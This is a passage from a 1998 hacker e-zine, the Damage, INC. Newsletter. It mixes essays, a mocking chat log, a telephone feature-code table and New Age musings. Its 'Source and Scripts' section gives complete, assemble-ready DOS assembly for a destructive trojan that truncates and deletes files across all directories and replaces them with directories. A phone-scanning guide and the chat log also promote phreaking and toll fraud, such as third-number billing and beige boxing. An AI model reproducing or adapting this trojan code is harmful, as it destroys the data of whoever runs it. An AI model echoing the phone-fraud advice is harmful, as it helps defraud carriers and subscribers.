"newbie" to drugs by any means. Because drugs are +illegal though, I have a hard time believing that what pill I am buying is +really what it is supposed to be. See what I mean? How can I put my trust +into something that was probably concocted in a bathtub? + +These and many more interesting thoughts coming soon. If you care to leave +me feedback with any comments/experiences you have, I will gladly incorporate +them into my articles. Otherwise, look for the new Drugs Discussion section in +the next issue of the newsletter. + +Written by The Journalist ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {H/P} +Tips on scanning 1-800s: + +This article won't teach you everything that there is to know about scanning +1-800s. Also, it will not give you any instructions on how to hack them. +The purpose of this article is to teach you some intelligent scanning methods. +If you're asking yourself, "What does intelligent scanning mean?" then you +definitely need to read this section very carefully. + +In order to scan intelligently, obviously you first need to know what that +means. In brief, it means scanning efficiently, stealthfully and finding the +desired targets quickly. Sometimes speed can be of the essence. You can't +find anything fast if you try to randomly scan all of 1-800-555-XXXX. It +would take forever to scan and log it all, not to mention the fact that many +of the reachable numbers would prove to be absolutely useless to you. So, +instead of wasting your time and putting yourself at risk, learn how to scan +intelligently. Every single method won't be discussed in this article. The +reason being, you cannot rely on a text file as your only source of learning. +You must experiment and develop your own techniques using your own ideas. +However, since I'm in a kind and generous mood, I will give you a few tried +and tested tips to try out. :) + +First, there's the ToneLoc (or THC-Scan etc.) approach. I don't recommend it +unless you're beige boxing or only going to dial less than a hundred 1-800s +per session/day. If you're out beige boxing, then you don't have to worry +about scanning randomly. Try scanning sequentially, unless you're paranoid. +As an example, you could use a mask of 1-800-555-5XXX and allow it to scan for +an hour or two. You can sit there watching and listening as it's scanning, or +leave. Just don't forget to go back to retrieve your trusty laptop. :) Also, +always create different data files for separate exchanges. It keeps your scans +much more organized that way. Plus, then you can exchange them with other +phreaks in your area. If a group of people work together to scan a 1-800 +exchange, it'll go a lot faster. Just assign one person to scan 1-800-555-1XXX +and the next to do 1-800-555-2XXX and so on. Eventually all of 1-800-555-XXXX +will have been scanned, and you can share your findings. Plus, if you use +separate data files, you can upload them to h/p boards in exchange for codes +etc. That's another benefit to scanning intelligently, you'll find a lot more. +Just remember, only upload scans that are worthwhile. In other words, not ones +that are 90% voice/busy's with the rest shitty carriers. If you upload shit, +there's a great chance that you'll lose your access to those h/p boards. + +Second, there's the manual dialing approach (pressing the little buttons on +your phone). :) By using this method, it's much safer since it's more +randomized. By that, I just mean that the delay time between dials will be +different, the amount of time between each button being pressed will vary, +the amount of rings won't be the same, the amount of time "connected" won't +either etc. Therefore, it is safe to use this method from home. However, you +must make sure to limit the number of 1-800s that you scan each session. A +good tip is to have multiple scan sessions per day. In each session, dial 20 +or 30 1-800 numbers. Don't just "pick anything". Scan intelligently. Try +1-800-XXX-2255. (2255 is CALL). That's just an example. You can also try +something like 1-800-XXX-0400 or 1-800-XXX-0500 etc. There are patterns that +you can pick up on. Sometimes the patterns are intricate, and other times they +are simple and easy to discover. If you find a useful code that's +1-800-999-1110 then try dialing 1-800-999-1120 etc. Sometimes you can find +multiple codes that way very quickly. :) Just as, you can try 1-800-225-5XXX +(1-800-CALL-XXX) and try random last 3 digits. Once you find some codes in a +1-800-XXX exchange, then sometimes you might want to scan it all. Other times, +you might only want a certain code that you found scanning intelligently. It +all depends on what you're into, and how much time you have to spend scanning, +how many codes you want or need etc. The point is that you don't always have +to scan the entire exchange to find the codes that you want. + +Here's another tip. If you find a code (like a 1-800 VMB or ANI or something) +that's 1-800-222-2020 as an example, scan around it. By that, I mean do the +same thing as you'd do if you found one end of a loop. To find the other end, +you have to scan above or below it depending on what end of the loop you found. +With 1-800s, you should scan above and below the found code. The reason is that +you can usually find multiple codes that are the same that way. For example, +if you found an ANI that's 1-800-222-5000 there might be another ANI that's +1-800-222-4000. Even though that is just an example, I have seen that many +times before... The reason that I'm not listing usable 1-800s is because I don't +know what ones are reachable from other area codes, Canada etc. Some 1-800s +work for all of North America, others are limited to the United States and some +are only dialable from that state, area code etc. There's a great range, so +it would be pointless for me to list valid ones that might only work in my area. +Also, don't write off or ignore an entire 1-800 exchange just because one or two +numbers can't be dialed for free from your calling area. That's definitely not +intelligent scanning, since you could miss out on a lot of cool codes. I hope +that you enjoyed reading this article, benefit from the methods that I've +discussed and the tips that I've shared. In conclusion, you should be creative, +use your imigination and learn how to scan intelligently. If you follow that +advice, then you will soon have more useful codes than you can imagine... More +importantly, you'll have the ability to find the ones that you need quickly +without scanning entire exchanges for days. + +On a personal note, I'm moving again. This time, it looks as though it'll be +permanent. I am going out to Montana. I don't want to mention the town, for +several reasons. At any rate, I don't know how active I'm going to be in the +h/p scene anymore. I've considered unofficially "retiring". I'll still remain +in contact with a few people, and I'm not quitting Damage, INC. However, it +is very unlikely that I'll be able to contribute as often to the Damage, INC. +Newsletter. I still want to write articles etc. but the extent of my +involvement in the group will be severely limited. I won't have nearly as much +free time after I start work at my new job. I just want to thank everyone that +has ever helped me out, and thank Damage, INC. for the experience and knowledge +that I've learned because of the group. Also, thanks to anyone that reads and +enjoys my articles. Lastly, have fun scanning and don't forget to phreak +safely. :) + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +ú - NEWS - ú + +We're proud to announce that Fatal Vision is the newest Damage, INC. Member. +He's going to contribute to future issues of the Damage, INC. Newsletter. +In a relatively short period of time, he's managed to learn a fair amount about +h/p and what it means. Everyone in the group is pleased with his progress and +we're looking forward to seeing him become an active member. + +The Damage, INC. FAQ should be complete and ready to release with the next +issue of the Damage, INC. Newsletter in April. It will contain information +about the group, past, present, future plans as well as answer frequently asked +questions etc. However, it won't be an ordinary FAQ. It will be unlike any +other FAQ that you've read, or exists for that matter. Damage, INC. is about +uniqueness, individuality and going against the grain... Everything that we +release proves that statement to be true. So, look for the FAQ of all fucking +FAQs to be released soon and available on a quality h/p board near you. ;) + +Also, I spoke with Blackie Lawless after he submitted the above article on +scanning 1-800s. He assured me that it won't be his last, but it might be a +few months before he has time to write and contribute anything else. I know +that he isn't planning on "retiring" from the scene forever. He told me that +he wants to take a break from it though, even after he's moved and settled in +Montana. I fully understand that, as I've often thought about doing the exact +same thing... Plus, it's not good to stay in the scene for 'too long' if you +are very actively involved, as it might catch up with you eventually. So, I +don't blame him if he feels that taking some time off will help him avoid +being busted for something. However, I have no knowledge of his activities, +or what's going on, so that's just a hypothesis at best... ;) + +In other local (519) news, The Crypt Keeper is back. He plans to setup his +board (The Crypt) again... and wants to resurrect a.t.i. We'll have to wait +and see what develops, especially after the recent Highlamer incidents of him +claiming to be a Member of a.t.i and creating fake releases etc. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +Artistry's interrogation of Topsoil: + +This interrogation was done by Artistry. He captured this chat and sent a copy +of it to Damage, INC. His intention was that we would include it in this issue +of the Damage, INC. Newsletter. Artistry's wish was granted. So, all of the +credit goes to him. Don't thank me for this hilarious interrogation, thank +Artistry. ;) + + = Artistry + = Topsoil (previously known as Coolguy) +[ comments ] were added by BLACKENED. + +the sysop has broken in to chat + + - yeah? + + - hey.. are you into hacking? 1-800s? + + - ... ... uhhh.. i wanna be, but i know nothin... + +[ Look...He admitted that he's a wannabe that knows nothing. What a shock. ] + + - oh.. I thought someone said you were making a list of them... + + - i was.. they were like.. not computers or nothing.. and umm.. i lost that +list now, forgot to back it up before i formated my HD... + +[ Topsoil is always formatting his hard drive. ] + + - okay. do you know what the validation pword on foi is? I applied but +can't get access. + + - no clue... he just validated me ... about a day or two after i called so.. + +[ Even Topsoil doesn't know why he was validated on FoI. ] + + - ok no problem. uh, do you know of any other h/p boards around here that +are local? + + - heh..i hardly even read my own mail on my own board.. i don't call out at +all anymore so... + +[ But he doesn't call boards anymore, except to leech h/p files from FoI. ] + + - Oh... umm... you don't call foi? + + - nah... haven't in.. oh.. i dunno.. since november or so... not sure +exactly... + +[ That's strange since I remember reading posts by Topsoil on FoI after that. ] + + - i read about a board called the crypt and some group called ati.. should I +join it? + + - umm.. i dunno.. i've heard a lot of crap about ati, and well, it sounds +kinda like it sucks.. and besides, i don't really like the crypt keeper.. i was +on his board a while back.. and well, he had lots of viruses and stuff... not a +whole lot of h/p or anything like that... but that was a while ago.. and +umm.. i'm not even sure if his board is still up.. + +[ But The Freezer is a great h/p board right? Haha. ] + + - alright.. so then are there any *good* h/p groups in this area? I'm still +kinda new... but want to join one really bad. + + - heh.. yeha... i'm still sorta new too.. and well.. umm.. i'm not sure of +one.. damage inc is cool.. 'cept for blackened.. i don't like him.. but the +rest of the group is cool.. + +[ Oh no, Topsoil doesn't like me. ;) ] + + - hmm... why don't ya like him? hehe + + - heh... actuaully, i think i've no wiped out my hard drive more times than +he's wiped out mine.. heh.. that's hard to accomplish. but ahg well.. ehh/. + +[ You can't blame anyone else when you nuke yourself with trojans Topsoil. ] + + - hehe.. so how abouts would I go about joining damage inc? talk to him? + + - ... not sure... just talk to the journalist, his board is a member board.. +so he should know... + +[ FoI is a Damage, INC. Dist. Site. Before you give advice, make sure you know +what you're talking about. ] + + - ya.. okay.. cool. I noticed you've got some of their releases online +here.. have ya read any of them, and are they any good? + + - .. well, i read the first few.. (2 or 3.. forget how many..) and well, +the one had a trojan's source code at the end.. and i wanted to try it out.. and +i did.. and wiped myself.. and well, blackened is honest in those and stuff.. +and for the utils that damage inc. has released.. i've never tried them, but +apparently they do what they say they do... + +[ Wow. We're all impressed that you were able to use TASM on the source code. +However, source code isn't executable. Again, you're responsible for nuking +yourself. Yes, I am honest. Apparently? You execute trojans but are afraid +to use Damage, INC. Utilities? ] + + - hmm.. cool. hey, do you program? I read a message about something you +were working on... + + - ... i know turing... and well, can't really do a whole lot in there... +examples.. you can't use the com port, you can't edit an .EXE file or +anything like that (at least not that easily) and umm.. well, it's a cheapo +beginner language.. i started to make a BBSList program for the board.. but +kinda got stuck not being able to use the modem.. heh... + +[ Turing? ] + + - hehe... yeah, it was the bbslist thing that I read about. sounds cool +though. I'm starting to learn pascal. is that language any good? like will +I be able to program some utilities eventually with it? + + - oh yeah.. if you learn it... i'd probably say that it's.. .. either the +BEST or the second BEST programming language out there... probably best though.. +C/C++ is cool.. but i don't know..i tried it, and got totally confused so.. +most programs are written in pascal though.. eg. this bbs software was +written in pascal..... or something.. wait.. it was written in turbo +pascal... and i THINK their the same.. not sure though.. ah well.. + +[ Turbo Pascal is the best programming language out there? again. ] + + - yeah, that's what we're learning in school... but I'm just starting to get +the hang of it. hehe. I should check out some of those utilities that you +have on your board... and see what they're like. do you know anything about +how to get started, like learning how to program stuff like viruses and +trojans? + + - well.. .. no..:) .. umm... for viruses and stuff.. i think.. assembly is +best for that..and well, that seems easy to learn.. just grab a program like +VCL, and it will make source code for you.. and you just compile it.. easy.. + +[ VCL will generate assembly source code, as will any other virus generator. +That isn't programming a virus though. That's called running a shitty program +that creates .asm source code for viruses that are detectable by any virus +scanner. Nothing more. ] + + - what's assembly? a language? + + - yup.. + +[ Good answer. ] + + - okay.. cool.. so are they usually made in assembly? + + - yeah.. it makes the files real small.. like.. 3k.. and well, to do the +same thing in turbo pascal or c/c++ it would be like.. ... i dunno.. 10k or +something.. so .. assembly is smaller.. but not as powerful... + +[ Haha. You really have a way with words. You have a talent for explaining +things that you know nothing about to people. Assembly is smaller but not as +powerful? Wrong again man. ] + + - cool... also, I wanted to ask you about carding. I posted a message +asking about it but just got bashed.. + + - uh-huh.. question? + +[ You should consider changing your alias to the Guru. ;) ] + + - What is it? How can I learn more about carding? Is it like.. using VISA +cards or something like that? or am I thinking of something else..hehe + + - .,, nah, that's it.. umm.. i dunno.. if you wanna learn some stuff about +it... like.. good methods and stuff, since a lot of them don't work, umm.. in +the file areas, there's PLA*.ZIP... those have a lot of ... carding stuff in +... mostly calling cards .. but you can use the same type of stuff for visa +etc. ... and well, they have some phreaking stuff in too... they're no ratio +so.. get whatever you want... umm.. and well, you can read the descriptions +too.. + +[ Yeah, the Phone Losers of America issues are excellent sources of information +man. The only thing I don't understand is why they don't use a 1-800 VMB and +have a few boxes. I mean, their leader used to pay monthly for a box... for +a shitty local VMB in his area code. Haha. ] + + - cool.. I will.. and I don't know much about phreaking yet either but I +want to learn. do you know much about PBXs, VMBs, ANIs? I also read about +firewall hacking in the bases here, but don't really know much about that... +or how to remove firewalls. there's one at school that prevents us from +going to h/p sites. hehe + + - hheh.. yeah.. i've gotten pissed of at that firewall too.. .. umm.. i +tried getting around it by going to.. www.anonymizer.com...; which will just +copy the page onto their server, and then send it over to you, so your computer +never actually goes the page at all.. but they firewalled that server. damn.. +and umm.. well.. then i tried converting the .. domain name +(www.anonymizer.com) over to the IP address (209.xxx.xxx.xxx or osmething +like that) and well.. that is firewalled too.. so not sure about that.. as +far as.. PBXs go... i forget what the stand for again so.. :) umm.. VMBs, +iknow that i have one on my cell phone, and ,.. ANIs, i have call display on +my cell phone, so for that i just call up my cell phone which is usually in +my hand, and i just read off the numbe.r.:) + +[ Read a text file on firewalls d00d. ] + + - cool.. do you have a laptop and beige box? also, i need an extender.. to +call like Guelph and Toronto... + + - ... yeah... umm.. laptop, nah, i can't afford everytrhing.. heh.. umm.. +beige box.. .i wanna make one.. but well,i haven't got the cash right now.. damn +phone companies.. i had $150 in phone bills this month.. heh... umm.. but +yeah, soon i'm gonna try and build a red box, and beige box... umm.. +extenders.. i don't got any... if i felt like it, i'd consider using toneloc +or something like that, but since i don't call guelph any more, i don't +really care about it... + +[ Quit paying $150 to Bell and you might have more money. ;) Oh, forget about +trying to build a red box and beige box. That's too difficult for you. ] + + - ya.. i just want to call some ld boards... like in Toronto.. hehe.. but +don't wanna pay ld to Bell. :) + + - yeah.. in the pla files, they'll tell you about third number billing.. and +how you can do that.. so then you don't have the ld, some other guy in.. +oihh.. b.c. has it.. and he won't bother to call you back, since it will just +cost more money, and if he does call you back, just hang up.. if bell calls +you.. you know nothing about that... easy.. + +[ That's an excellent method to use. Thanks for the great information. ] + + - hehe... yeah, that sounds like a good idea. do you know how to hack ISPs +and get free internet accounts? I can't afford to pay for one.. :) + + - yeah.. i can't afford the net either... so i just got my friend to get an +unlimited account, and the provider just happens to let up to 100 people use +the same account, at the same time.. ehh.. + +[ 100 people. Keep that number in mind and read the excuse Topsoil uses next. ] + + - hehe.. can you give me the login and pword? :) + + - nah... i'm not alowed to give it out.. cuz well, there's 10 people who +already have it, and well, he doesn't want the provider billing him for all +10 of those people when they notice they're being ripped off.. heh.. + +[ That shouldn't matter if they allow 100 people to use the same account, like +you said previously. ;) ] + + - hehe.. okay... umm.. do you know how I can get access to some other h/p +boards, like foi and ajfa? I keep seeing people posting about boards like +that...but can't seem to get access... hehe. + + - heh.. umm.. well, once you get on foi, .. e-mail blackened from there +about ajfa.. umm.. .. foi.. well, hopefully you're on that now.. umm.. and well, +those are the only h/p boards i know of.. anyways, i've gotta go now .. +getting tired.. and i got to surf the net first period tomorrow in schjool... + +[ Nah, my board is invite only. That won't work. Go surf the net d00d. ] + + - hehe.. okay...but uh, I applied to foi and he has a validation password +for new users, so I can't logon yet... :( and ummmm... so blackened runs ajfa? +I didn't know that... hmm... does he like run damage inc or something? + + - .. you'll be validated by.. .. the journalist on foi, in the next day or +two.. and ... umm.. yeah, blackened runs ajfa, and ,.. damage inc, i'm not +sure who runs that, but ajfa is the WHQ of.. damage inc.. + +[ Become informed before you try to answer questions. ] + + - okay... now I understand.. :) cool. thanx for the info then man. +hope to chat again sometime... + + - yup, ok, l8rz.. + +[ The above line says it all. ] + +yOu are now back in the freezer + + +LETTERS TO THE EDITOR - {LETTERS} + +Highlord (aka Lielord, Highlamer) wrote the following message addressed to me +on Freedom of Information Archives: + + +Date: 7:41 pm Mon Mar 9, 1998 Number : 540 of 540 +From: Highlord Base : [Damage, INC. Discussion] +To : Blackened Refer #: 539 +Subj: Re: feedback Replies: None +Stat: Normal Origin : Local + +B> To those users that have read the February issue of the Damage, INC. +B> Newsletter... send in feedback. Thus far, we don't have any letters to +B> the Editor to use. It can be a message with comments, suggestions or hate +B> mail. It's up to you. If you want something to say, now is your big chance + +Well i like all your releases even if one of them is bashing me but i have +learned an important lesson and wish to thank you. l8er. + + The Highlord + Member of ATI +------------------------------------------------------------------------------- + +Editor - I wish to take this opportunity to thank you man. The interrogation + of you done by Fatal Vision was simply hilarious. It contained your + own words and answers to his questions. I had to publish that and + share it with our readers. ;) + + As for the lesson you claim to have learned, I am skeptical to say + the least considering the amount of false statements that you've + blatantly made on boards in the past few months. Always remember that + anything you post on boards can be captured. Learn from your + experience. + + Also, you were never a Member of a.t.i. So, you're lying yet again. + Did you honestly believe that you could fool everyone? The fake + a.t.i releases that contained ripped off Copyrighted Damage, INC. + material impressed nobody. Did you do that in a pathetic attempt to + get a reputation? Or are you just stupid? You're a ph34r3d l33t + hax0r d00d now Highlord... + + +OBJECTIVE OPINIONS - {OPINIONS} +The existence of intelligent alien life in the Universe: + +Does intelligent life exist elsewhere in the Universe? If there are alien +races on other planets, are they technologically advanced enough to know of +our existence? Have this visited this planet before? Is it possible that +they have been evolving for millions or billions of years before life began +on Earth? These are just a few interesting and valid questions that you should +spend some time thinking about. + +The Universe consists of billions of galaxies. In those galaxies, there are +many stars, planets, moons etc. of varying ages. The Universe is a vast place, +and is so extremely large that it's difficult to comprehend. We do not +understand it. In fact, we don't even understand the complexity of gravity yet. +Therefore, how can *anyone* say that there isn't intelligent life on other +planets? Have we explored them? No, of course not. The fastest machines built +by humans were the Voyager space probes. They gave us the first "close" looks +at planets such as Jupiter. Obviously, that planet is within our own solar +system and not a tremendous distance away from Earth. Recently, we've started +exploring planets such as Mars and manned missions are planned to investigate +further. They've looked at rocks from Mars that show (and prove in my opinion) +that there was life on Mars, albeit primitive "bacteria-like creatures" at one +time. Scientists such as the late Carl Sagan and others believed that more +exploration is necessary. They also believed that there's a great chance of +intelligent life on other planets and that we shouldn't just categorically rule +it out. I agree with that point of view. It'd be idiot to ignore the +possibility that life exists on other planets. To assume that life only exists +on this planet would be both arrogant and ignorant. It would also be the +biggest, worst assumption that anyone has ever made. + +Let's say that out of the billions of galaxies and countless planets... that +there isn't any intelligent life in the entire Universe, except on Earth. Do +you know what the odds of that are? The odds of that are "astronomical" to +say the least. So, why place an uneducated guess or bet that there's no life +out there? It's not only possible, it is very plausible that intelligent life +could exist (or could've existed in the past) on other planets. If the only +life in the Universe is on Earth, what is the purpose of the billions of +lifeless planets? Why are there so many galaxies and stars? Why were they +all created? Wouldn't that mean that life evolving on Earth was a fluke? +Or perhaps, it's a cosmic joke. Haha. That possibility seems unlikely to me +for many reasons. The biggest reason is that I don't consider human life to be +just a fluke of nature. Why not? Well, if that were true it'd mean that fluke +after fluke after fluke happened on this planet since it's filled with living +creatures. Consider the diverseness of this planet for a second and you'll +understand my logic. + +Also, the Universe is much older than we are. Did it take human evolution for +there to be intelligent life in this enormous space? We'd be very egotistical +to think that we are the only intelligent species in the entire Universe. Or, +is there more than one Universe? The answer to that question relies upon your +own beliefs. I cannot answer it for you. What if the truth is that we *are* +the only advanced life in this Universe though. What if every other planet in +the Universe is lifeless? What if that theory could be proved to be correct. +That would make everything meaningless. If life forming on this planet happened +by a fluke, then there is no meaning to life. There is no point in anything. +Everything would mean nothing. At least, that's how I would personally feel. + +On the other hand, if we could prove that intelligent life exists on other +planets, that would change everything. That would give us new meaning. That'd +mean our existence isn't the greatest fluke ever. It might also mean that we +are their seed, that the aliens visited earth long ago. It could also mean that +there was life on other planets before Earth. They could've been evolving as +being for millions of years before Earth could even sustain and support life. +;) Of course, the possibility exists that there is intelligent life on other +planets that started evolving after us... and that they aren't quite as advanced +yet. Indeed, the possibilities are endless. + +I'd also like to comment on Terra-Forming. We have the knowledge, ability and +technology to turn a suitable lifeless planet into one that evolves... and +eventually can support life. Essentially, we can change the environment over +time and "create" life that otherwise wouldn't have developed naturally. The +chosen planet has to endure drastic changes in its biology, but it is possible. +Terra-Forming is a very long process that requires hundreds of years in order +to change a planet. However, we could use the process to change a planet that's +reachable from Earth into a new world for mankind to inhabit and manage. If we +can successfully accomplish that, (Terra-Forming involves changing and/or +creating the atmosphere using different methods including the formation of +oceans by releasing water from ice or rock, the removal of harmful gases etc.) +then why wouldn't there already be planets that are capable of supporting life +throughout the Universe? If we can transform or convert a "dead planet" into +one that future generations can live on, then it's only logical that out of +billions of galaxies there would be at least a few "living planets". ;) + +Yes, that is my opinion and you have the right to disagree or choose to ignore +that logic, form your own opinion and live by your personal beliefs. Basically, +I just think that if we can manage to find a way to explore other regions of +the Universe, are able to change planets through terra-forming, and make +discoveries that would have been unimaginable less than 100 years ago... then +it's very possible that alien beings know about and can do the same things. +Perhaps they know more about space, time, the Universe, propulsion, technology +in general etc. than we do. They could've been travelling and exploring space +long before our evolutionary process began (or our creation). They might have +known of us from the beginning, and not think of humans as being advanced +beings. ;) Hopefully I've given you something to think about. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} +List of LASS *## codes: + +This list was extracted from the alt.2600/#hack FAQ. It was included at the +request of several readers... 2600 deserves the credit for making this list. +There's no point in duplicating something that's already been done, so that's +the reason 2600's quality list is being used. The complete FAQ is available +to download from AJFA (and was also in the list for newbies). + + +What are all of the * (LASS) codes? + +Local Area Signalling Services (LASS) and Custom Calling Feature Control +Codes: +(These appear to be standard, but may be changed locally) + +Service Tone Pulse/rotary Notes +-------------------------------------------------------------------------- +Assistance/Police *12 n/a [1] +Cancel forwarding *30 n/a [C1] +Automatic Forwarding *31 n/a [C1] +Notify *32 n/a [C1] [2] +Intercom Ring 1 (..) *51 1151 [3] +Intercom Ring 2 (.._) *52 1152 [3] +Intercom Ring 3 (._.) *53 1153 [3] +Extension Hold *54 1154 [3] +Customer Originated Trace *57 1157 +Selective Call Rejection *60 1160 (or Call Screen) +Selective Distinct Alert *61 1161 +Selective Call Acceptance *62 1162 +Selective Call Forwarding *63 1163 +ICLID Activation *65 1165 +Call Return (outgoing) *66 1166 +Number Display Blocking *67 1167 [4] +Computer Access Restriction *68 1168 +Call Return (incoming) *69 1169 +Call Waiting disable *70 1170 [4] +No Answer Call Transfer *71 1171 +Usage Sensitive 3 way call *71 1171 +Call Forwarding: start *72 or 72# 1172 +Call Forwarding: cancel *73 or 73# 1173 +Speed Calling (8 numbers) *74 or 74# 1174 +Speed Calling (30 numbers) *75 or 75# 1175 +Anonymous Call Rejection *77 1177 [5] [M: *58] +Call Screen Disable *80 1160 (or Call Screen) [M: *50] +Selective Distinct Disable *81 1161 [M: *51] +Select. Acceptance Disable *82 1162 +Select. Forwarding Disable *83 1163 [M: *53] +ICLID Disable *85 1165 +Call Return (cancel out) *86 1186 [6] [M: *56] +Anon. Call Reject (cancel) *87 1187 [5] [M: *68] +Call Return (cancel in) *89 1189 [6] [M: *59] + +Notes: + +[C1] - Means code used for Cellular One service +[1] - for cellular in Pittsburgh, PA A/C 412 in some areas +[2] - indicates that you are not local and maybe how to reach you +[3] - found in Pac Bell territory; Intercom ring causes a distinctive + ring to be generated on the current line; Hold keeps a call + connected until another extension is picked up +[4] - applied once before each call +[5] - A.C.R. blocks calls from those who blocked Caller ID + (used in C&P territory, for instance) +[6] - cancels further return attempts +[M: *xx] - alternate code used for MLVP (multi-line variety package) + by Bellcore. It goes by different names in different RBOCs. + In Bellsouth it is called Prestige. It is an arrangement of + ESSEX like features for single or small multiple line groups. + + The reason for different codes for some features in MLVP is that + call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x + + +*** Note from Damage, INC. - Bell's Call Screening can be defeated by using a + good diverter, contrary to popular belief. I just + wanted to dispel the commonly held misconception + that Call Screening stops a person from calling + you from the line/number you try to block/reject. + Hopefully, this short note clears that up for + everyone that falsely believes that it does. ;) + + +SOURCE AND SCRIPTS - {SOURCE} +Damage, INC. Directory Trojan Source Code: + +This trojan nukes files in every directory off the root of the current drive. +Then it creates directories to replace the files that were nuked. Once that's +finished, it changes to the root directory of the current drive and creates a +directory named NUKE. You can't RD it or CD into it normally from a DOS prompt. +Lastly, the "Nuked by Damage, INC." message is decrypted and then displayed. +The first type of encryption used (for NUKE) is a very simple XOR method. The +second type uses SUB (subtract) for the damage message. Both types used should +be easy enough to understand. + +------------------------------------------------------------------------------- +;[Damage, INC. Directory Trojan] (C) Copyright 1998 by Damage, INC. +;Use TASM /M FILENAME.ASM then TLINK /T FILENAME.OBJ to assemble it into +;a 420 byte COM file. Use at your own risk. + +code segment 'code' +assume cs:code,ds:code,es:code + org 100h + +main proc near + +jmp start + + +thestop db 1ah ;EOF () marker stops DOS TYPE command. +filecards db '*.*',0 ;The wildcard *.* for Files. +dircards db '*',0 ;Wildcard for Directories +root db '\',0 ;Root Directory +default db 64 DUP (?) ;Buffer to hold current directory +dirdta db 43 DUP (?) ;DTA for directories +filedta db 43 DUP (?) ;DTA for files +dseg dw ? ;Holds old dir DTA segment +dofs dw ? ;Holds old dir DTA segment + +start: + + mov di,offset nuke ;start of decryption + mov si,offset nuke ; + mov cx,8h ;CX is 8 (characters) + + cld ;Clear direction + +repeat: + + lodsb ;Load String Byte + xor al,92h ;xor 92h is 146. + stosb ;Store String Byte + dec cx ;Decrement CX + jcxz nukestart ;Jump if CX is zero to nukestart + jmp repeat ;Jump to repeat + +nukestart: + + mov dx,offset dirdta ;set DTA to hold directories + mov ah,1ah ;DOS set DTA function + int 21h ; + + mov ah,19h ;get drive code + int 21h ; + + mov dl,al ;save drive code into dl + inc dl ;translate for function 3bh + + mov ah,47h ;save current dir + mov si,offset default ;save current dir into buffer + int 21h ; + + mov dx,offset root ;change to root dir + mov ah,3bh ; + int 21h ; + + mov cx,13h ;find directories + mov dx,offset dircards ; + mov ah,4eh ;find first file + +scanloop: + + int 21h ;DOS Call to execute command + jc quit ;quit if no more dirs/error + + jmp changedir ;change to that dir + +findnextdir: + + mov ah,4fh ;find next directory + mov dx,offset dircards ; + jmp scanloop + +changedir: + + mov dx,offset dirdta + 30 ;point to dir name in DTA + mov ah,3bh ;change directory + int 21h ; + +findfirst: + + mov ah,2fh ;get DTA + int 21h ; + mov [dseg],es ;save dir DTA segemnt + mov [dofs],bx ;and offset + int 21h + + mov dx,offset filedta ;use file DTA as new DTA + mov ah,1ah ;set DTA function + int 21h ; + + mov cx,0007h ;find attributes + mov dx,offset filecards ;point to '*.*',0 wildcard spec + mov ah,4eh ;find first file + +filescanloop: + + int 21h ; + jc done ;quit on error/no files found + + mov ax,4301h ;clear files attributes + xor cx,cx ;zero cx + mov dx, offset filedta + 30 ; + int 21h ; + jc quit ;jump if carry to quit + + mov ah,3ch ;truncate file + int 21h + jc quit ;jump if carry to quit + + mov bx,ax ;save handle + + jc done ;Jump if carry to done + + mov ah,41h ;nuke file + int 21h ; + + mov ah,3eh ;close file + int 21h ; + + mov ah,39h ;make directory in place of file + int 21h ; + + mov ah,4fh ;find next + jmp filescanloop ;Jump to filescanloop to loop + +done: + + mov ah,1ah ;restore directory DTA + mov ds,[dseg] ;move dseg into ds + mov dx,[dofs] ;move dofs into dx + int 21h + + mov dx,offset root ;change dir to root + mov ah,3bh ; + int 21h ; + + jmp findnextdir ;Jump to findnextdir + +quit: + + mov ah,3bh + mov dx,offset root ;change to root + int 21h + + mov ah,39h ;create directory + mov dx,offset nuke ;pointer to subdir name + int 21h + jc restore ;Jump if carry to restore + +restore: + + mov dx,offset default ;restore original directory + mov ah,3bh ;by changing back to it. + int 21h ; + + mov si,offset damage ;points to damage string + call decrypt ;call the decrypt procedure + +exit: + + mov ah,4ch ;Exit to DOS prompt. + int 21h ; + +proc decrypt + + push ax ;push AX register to save it + push dx ;push DX register to save it + +dctext: + lodsb ;Load string byte + or al,al ;zero AL register + je finish ;jump if equal to finish + xchg dl,al ;exchange (move) al into dl + sub dl,63 ;subtract 63 from dl + mov ah,2 ;Display the decrypted message + int 21h ;Call DOS + jmp short dctext ;jump (loop) back to dctext + +finish: + + pop ax ;pop AX register to restore it + pop dx ;pop DX register to restore it + ret ;Return (Exit...we're finished!) + +endp decrypt + +nuke db 0fch,004h,0f9h,0f7h,0bch,06dh,0b2h,06dh,0 ;NUKE + +damage db "´ª¤£_¡¸_ƒ ¬ ¦¤k_ˆ‚m" ;The encrypted Damage, INC. text message + db 0 + +filler db 1 dup(20h) ;1 byte filler to increase the size to + ;420 bytes. +main endp +code ends + end main +------------------------------------------------------------------------------- + + +THE JOURNALIST'S TOP TEN LIST - {TOP TEN} +"Think of the possibilities..." + + We are quickly approaching the dawn of a new millennium. The Age of +Aquarius - love, peace, and enlightenment. With it come new responsibilities, +and new freedoms. I believe the true nature of existence will emerge as the +hidden answer everybody is waiting for. + This month's top ten list is a little different. I am a firm believer +in the idea that man is not limited by his physical body. Arm yourself with +the knowledge necessary to survive in the coming new age world. The only +knowledge that when put into practice, truly will set you free. + + 1. Meditation. + This marks the beginning of a journey that will lead you closer to + yourself and the underlying reality available to everyone. Diligent + exercise of clearing your mind always results in the attainment of + higher states of consciousness. Zen Buddhists have known the potential + of this art for many centuries now. Pick up a good book on meditation + if you are seriously interested in beginning the mystical life most + people only dream about. + + 2. Lucid Dreaming. + In our dreams we are orchestrating those events which we cannot readily + act out in everyday life. Dreaming represents the mind's + interpretation of activity far beyond the conscious level. As you + notice upon wakening, the dream often is as "real" as daily life - that + is because it *is* real! Just not in the same way you are used to. + Lucid dreaming occurs when in a dream, you become aware that you are + dreaming. It is exciting! You can now control your dream, direct it + the way you want. The simple suggestion before you fall asleep of "I + am going to have a lucid dream" will put into motion the desire to + wake up in your dreams. Try it! + + 3. Astral-Projection. + Entering into trance, you feel the familiar buzzing throughout your + body characteristic of regular meditation. Your body feels lighter + and lighter, and suddenly you are free. Free from gravity, free from + solid matter, and free from the incessant activity of everyday + society. Your thoughts lead you on an adventure unknown to most. + Thinking of your deceased Aunt, you are immediately transported to a + face-to-face meeting with her. The 